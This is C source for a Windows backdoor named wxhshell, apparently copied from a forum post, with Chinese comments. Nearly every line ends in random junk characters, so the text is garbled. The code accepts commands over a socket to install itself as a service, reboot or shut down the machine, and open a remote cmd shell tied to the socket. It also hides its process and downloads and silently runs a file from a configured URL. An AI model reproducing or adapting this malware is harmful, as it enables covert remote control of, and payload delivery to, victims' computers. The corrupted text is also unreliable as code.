  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ugg08am!  
  } (3C6'Wt  
  else { *]%{ttR~  
SP9_s7LL  
    switch(cmd[0]) { $b;9oST  
  _X{i hf  
  // 帮助 |`9POl=  
  case '?': { Wa~'p+<c~b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S?nXpYr  
    break; xMDx<sk  
  } mM"!=' z  
  // 安装 0qSd #jO  
  case 'i': { )sG`sET]`f  
    if(Install()) ,qJ/Jt$A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); epi{Ayb  
    else gQf'|%)AJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `,~I*}T>5W  
    break; XoM+"R"  
    } D`3m%O(?  
  // 卸载 ZRO   
  case 'r': { F!jYkDY  
    if(Uninstall()) _*B]yz6z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tF SO"  
    else 7{j9vl6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TI:-Y@8  
    break; uiDK&@RS  
    } $-Q,@Bztq  
  // 显示 wxhshell 所在路径 U/&!F  
  case 'p': { vMKmHq  
    char svExeFile[MAX_PATH]; 1Qui.],c  
    strcpy(svExeFile,"\n\r"); B e"D0=<  
      strcat(svExeFile,ExeFile); x/47e8/  
        send(wsh,svExeFile,strlen(svExeFile),0); tsR\c O~/  
    break; aH'Sz'|E  
    } qsn6i%VH  
  // 重启 #R<4K0Xan  
  case 'b': { ;>Y,b4B;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l)GV&V  
    if(Boot(REBOOT)) .T?9-`I9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P31}O2 Nh  
    else { .]g>.  
    closesocket(wsh); ~{'.9  
    ExitThread(0); si,fs%D&  
    } ;1^_ .3  
    break; qT^R> p  
    }  UN[rW0*  
  // 关机 2/O/h  
  case 'd': { |=2E?&%?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); azKbGS/X  
    if(Boot(SHUTDOWN)) |H 0+.f;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~|kre:j9  
    else { Au,xIe!t  
    closesocket(wsh); szN`"Yi){  
    ExitThread(0); vBAds  
    } E#X1P #$pW  
    break; `=^;q 6f  
    } C4e3Itc9X  
  // 获取shell IT]D;  
  case 's': { B;?)   
    CmdShell(wsh); S83wAr9T  
    closesocket(wsh); FI{9k(  
    ExitThread(0); H5uWI  
    break; ?khwupdi  
  } I)I,{xT4  
  // 退出 &(3kwdI  
  case 'x': { DJP)V8]!B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /M(FuV  
    CloseIt(wsh); Q`}1 B   
    break; *#{[9d  
    } fl>*>)6pm  
  // 离开 X'4e)E3*O  
  case 'q': { VE1 B"s</  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =FUORj\O  
    closesocket(wsh); F }l_=  
    WSACleanup(); Rdao  
    exit(1); tep_g4CQR_  
    break; J&4LyIpQ  
        } +ou5cQ^  
  } G m40u/  
  } ~]8bTw@  
@bU(z$eB  
  // 提示信息 VOH.EK?5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $[txZN  
} ciO^2X  
  } gK7j~.bb"  
3Qmok@4e)  
  return; wZN<Og+;  
} d51l7't  
rf1Us2vp  
// shell模块句柄 L/9f"%kZ  
int CmdShell(SOCKET sock) r#LoBfM;^A  
{ ;B>2oq  
STARTUPINFO si; #|`/K[.xd%  
ZeroMemory(&si,sizeof(si)); YO o?.[}@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cc^`M9dP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HT7V} UiaO  
PROCESS_INFORMATION ProcessInfo; ^50#R< Ny  
char cmdline[]="cmd"; +V*FFv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :9!? ${4R  
  return 0; OLpE0gZ.|`  
} JK0L&t<  
Pda(O;aNU  
// 自身启动模式 VKRj 1LXz  
int StartFromService(void) UV8,SSDTV  
{ aW$( lf2;  
typedef struct }wzU<(Rx  
{ E ?(+v  
  DWORD ExitStatus; A7@5lHMF  
  DWORD PebBaseAddress; ~3 4Ly  
  DWORD AffinityMask; 6Ouy%]0$I3  
  DWORD BasePriority; _KVge)j  
  ULONG UniqueProcessId; @A6 P[r  
  ULONG InheritedFromUniqueProcessId; GGHe{l  
}   PROCESS_BASIC_INFORMATION; RGy4p)z*+  
[H$37Hx !  
PROCNTQSIP NtQueryInformationProcess; Dn;6O  
WMfu5x7e4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #MYhKySku  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VaQqi>;\  
$8#zPJR&  
  HANDLE             hProcess; H/m -$;cF3  
  PROCESS_BASIC_INFORMATION pbi; vB >7W  
M;*f(JY$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7+';&2M)n~  
  if(NULL == hInst ) return 0; 2OFrv=F  
sE7!U|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d7Lna^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b#cXn4<3D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h;105$E1  
tpp. 9  
  if (!NtQueryInformationProcess) return 0; z$OKn#%T  
.T0w2Dv/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !ckmNE0  
  if(!hProcess) return 0; Cw"Y=`  
"{-jZdq'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nb/W+& y  
&t1?=F,]  
  CloseHandle(hProcess); ?h)Z ;,}  
p%A s6.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P+00wbx0  
if(hProcess==NULL) return 0; ^6Y4=  
D9 `J||]E  
HMODULE hMod; (bnyT?p%  
char procName[255]; .: ~);9kj  
unsigned long cbNeeded;  )! 2$yD  
z/zUb``  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P)bS ;w\(Y  
>R "]{y  
  CloseHandle(hProcess); T0Lh"_X3  
=8BMCedH|  
if(strstr(procName,"services")) return 1; // 以服务启动 LlAMtw"  
c zTr_>  
  return 0; // 注册表启动 P9(]9np,,  
} b?Dhhf  
T;/Y/Fd  
// 主模块 #4uuT?!  
int StartWxhshell(LPSTR lpCmdLine) 3 D<s #  
{ LliOhr4  
  SOCKET wsl; 'r_{T=  
BOOL val=TRUE; +dd\_\  
  int port=0; !bEy~.  
  struct sockaddr_in door; UzZzt$Kw  
I75>$"$<  
  if(wscfg.ws_autoins) Install(); Hrb67a%b  
)+ }\NCFh  
port=atoi(lpCmdLine); *7MTq_K(An  
daamP$h9  
if(port<=0) port=wscfg.ws_port; xD[O8vQE  
@ 63Uk2{W>  
  WSADATA data; w@ 1g_dy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9I3vW]0x[  
""-#b^DQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #NU;$ &  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t As@0`x9  
  door.sin_family = AF_INET; 1u4)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C(o]3):?  
  door.sin_port = htons(port); W$_}lE$  
alu3CE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fB .xjp?  
closesocket(wsl); !ho~@sc{W  
return 1; <_X`D4g]XO  
} "`Y.N$M`k  
6:Eu[PE~w  
  if(listen(wsl,2) == INVALID_SOCKET) { Nr24Rv  
closesocket(wsl); C*O648yz[  
return 1; x\/N09  
} #Av6BGM|,  
  Wxhshell(wsl); WO=X*O ne  
  WSACleanup(); G's >0  
Cso!VdCX  
return 0; i7@qfe$fR  
3aMfZa<=  
} :-Gf GL>]  
"'389*-  
// 以NT服务方式启动 e+Qq a4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lHg&|S&J  
{ EP!zcp2' C  
DWORD   status = 0; A\{dq:  
  DWORD   specificError = 0xfffffff; 0MV^-M   
pVuJ4+`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )TYrb:M'm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  p1zT]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <>!Y[Xr^  
  serviceStatus.dwWin32ExitCode     = 0; j Wa%vA  
  serviceStatus.dwServiceSpecificExitCode = 0; F_KPhe$  
  serviceStatus.dwCheckPoint       = 0; Rg4'9I%B  
  serviceStatus.dwWaitHint       = 0; D%PrwfR  
&.1F \/]k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3$c Im+  
  if (hServiceStatusHandle==0) return; h>s|MZQ:*  
G$hH~{Y$  
status = GetLastError(); #g)$m}tv?  
  if (status!=NO_ERROR) hqEn D  
{ 8|:bis~wm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vfm (K  
    serviceStatus.dwCheckPoint       = 0; qU ESN!  
    serviceStatus.dwWaitHint       = 0; sIx8,3`&y  
    serviceStatus.dwWin32ExitCode     = status; ^]iIvIp  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; E Nhy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !8cS1(a  
    return; t:pgw[UJ  
  } f 7g?{M  
*-KgU'u?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~d+.w%Z `  
  serviceStatus.dwCheckPoint       = 0; v%mAU3M  
  serviceStatus.dwWaitHint       = 0; g>])O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L^}i7nJ  
} QG~4 <zy  
PS*=MyNa  
// 处理NT服务事件,比如:启动、停止 =(!&8U9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wHGiN9A+  
{ }3G`f> s  
switch(fdwControl) |AY`OVgcKD  
{ u}zCcWP|L  
case SERVICE_CONTROL_STOP: O26'|w@$  
  serviceStatus.dwWin32ExitCode = 0; O<A$,<67  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3<5E254N  
  serviceStatus.dwCheckPoint   = 0; cc LTA  
  serviceStatus.dwWaitHint     = 0; Y)X 'hk)5|  
  { v'x)AbbC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^qn,b/>L  
  } 'X()|{  
  return; {'.[N79xP  
case SERVICE_CONTROL_PAUSE: \v7->Sy8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wi7a_^{  
  break; %Tc P[<  
case SERVICE_CONTROL_CONTINUE: 8T:?C~"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1qEpQ.:](  
  break; +<\)b(  
case SERVICE_CONTROL_INTERROGATE: J(k\Pz*  
  break; 4 _*^~w  
}; ;oe j~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a>3#z2#  
} `k^d)9  
;WF3w  
// 标准应用程序主函数 +pGkeZX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) utH,pGs C.  
{ C-vFl[@a0  
SN${cs%  
// 获取操作系统版本 z0@{5e$#Y  
OsIsNt=GetOsVer(); ~1_v;LhH5+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k&|#(1CFY  
;y"=3-=vM"  
  // 从命令行安装 _$&C$q$1y  
  if(strpbrk(lpCmdLine,"iI")) Install(); =/ b2e\  
cip"9|"  
  // 下载执行文件 \`FpBE_e)  
if(wscfg.ws_downexe) { *%[L @WF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }bU1wIW9I  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2H h5gD|>  
} ~9[^abz  
EAPLe{qw:q  
if(!OsIsNt) { B+8lp4V9%  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Gr}<B$A3  
HideProc(); m$ubxI)  
StartWxhshell(lpCmdLine);  BZ'63  
} m1d*Lt>F@  
else |%V-|\GJ~j  
  if(StartFromService()) )<<}8Fs  
  // 以服务方式启动 D-v}@tS'  
  StartServiceCtrlDispatcher(DispatchTable); l r16*2.  
else EF Z]|Z7  
  // 普通方式启动 q6A"+w,N  
  StartWxhshell(lpCmdLine); *bOgRM[  
cft'%IEs  
return 0; V|v KYEFry  
}
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只看该作者 1 发表于: 2006-10-10
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